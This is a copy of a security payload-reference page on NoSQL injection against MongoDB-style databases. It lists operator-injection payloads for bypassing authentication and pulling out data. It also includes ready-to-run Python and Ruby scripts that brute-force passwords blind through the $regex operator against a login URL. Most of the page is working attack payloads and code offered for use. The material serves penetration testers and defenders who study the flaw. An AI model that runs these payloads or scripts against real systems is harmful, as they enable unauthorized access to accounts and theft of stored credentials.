Back to Payloadsallthethings

NoSQL Injection

NoSQL Injection/README.md

4.28.1 KB
Original Source

NoSQL Injection

NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional SQL syntax.

Summary

Tools

Methodology

NoSQL injection occurs when an attacker manipulates queries by injecting malicious input into a NoSQL database query. Unlike SQL injection, NoSQL injection often exploits JSON-based queries and operators like $ne, $gt, $regex, or $where in MongoDB.

Operator Injection

OperatorDescription
$nenot equal
$regexregular expression
$gtgreater than
$ltlower than
$ninnot in

Example: A web application has a product search feature

js
db.products.find({ "price": userInput })

An attacker can inject a NoSQL query: { "$gt": 0 }.

js
db.products.find({ "price": { "$gt": 0 } })

Instead of returning a specific product, the database returns all products with a price greater than zero, leaking data.

Authentication Bypass

Basic authentication bypass using not equal ($ne) or greater ($gt)

  • HTTP data

    ps1
    username[$ne]=toto&password[$ne]=toto
    login[$regex]=a.*&pass[$ne]=lol
    login[$gt]=admin&login[$lt]=test&pass[$ne]=1
    login[$nin][]=admin&login[$nin][]=test&pass[$ne]=toto
    
  • JSON data

    json
    {"username": {"$ne": null}, "password": {"$ne": null}}
    {"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
    {"username": {"$gt": undefined}, "password": {"$gt": undefined}}
    {"username": {"$gt":""}, "password": {"$gt":""}}
    

Extract Length Information

Inject a payload using the $regex operator. The injection will work when the length is correct.

ps1
username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}

Extract Data Information

Extract data with "$regex" query operator.

  • HTTP data

    ps1
    username[$ne]=toto&password[$regex]=m.{2}
    username[$ne]=toto&password[$regex]=md.{1}
    username[$ne]=toto&password[$regex]=mdp
    
    username[$ne]=toto&password[$regex]=m.*
    username[$ne]=toto&password[$regex]=md.*
    
  • JSON data

    json
    {"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
    {"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
    {"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
    

Extract data with "$in" query operator.

json
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}

WAF and Filters

Remove pre-condition:

In MongoDB, if a document contains duplicate keys, only the last occurrence of the key will take precedence.

js
{"id":"10", "id":"100"} 

In this case, the final value of "id" will be "100".

Blind NoSQL

POST with JSON Body

Python script:

python
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""
u="http://example.org/login"
headers={'content-type': 'application/json'}

while True:
    for c in string.printable:
        if c not in ['*','+','.','?','|']:
            payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
            r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
            if 'OK' in r.text or r.status_code == 302:
                print("Found one more char : %s" % (password+c))
                password += c

POST with urlencoded Body

Python script:

python
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""
u="http://example.org/login"
headers={'content-type': 'application/x-www-form-urlencoded'}

while True:
    for c in string.printable:
        if c not in ['*','+','.','?','|','&','$']:
            payload='user=%s&pass[$regex]=^%s&remember=on' % (username, password + c)
            r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
            if r.status_code == 302 and r.headers['Location'] == '/dashboard':
                print("Found one more char : %s" % (password+c))
                password += c

GET

Python script:

python
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username='admin'
password=''
u='http://example.org/login'

while True:
  for c in string.printable:
    if c not in ['*','+','.','?','|', '#', '&', '$']:
      payload=f"?username={username}&password[$regex]=^{password + c}"
      r = requests.get(u + payload)
      if 'Yeah' in r.text:
        print(f"Found one more char : {password+c}")
        password += c

Ruby script:

ruby
require 'httpx'

username = 'admin'
password = ''
url = 'http://example.org/login'
# CHARSET = (?!..?~).to_a # all ASCII printable characters
CHARSET = [*'0'..'9',*'a'..'z','-'] # alphanumeric + '-'
GET_EXCLUDE = ['*','+','.','?','|', '#', '&', '$']
session = HTTPX.plugin(:persistent)

while true
  CHARSET.each do |c|
    unless GET_EXCLUDE.include?(c)
      payload = "?username=#{username}&password[$regex]=^#{password + c}"
      res = session.get(url + payload)
      if res.body.to_s.match?('Yeah')
        puts "Found one more char : #{password + c}"
        password += c
      end
    end
  end
end

Labs

References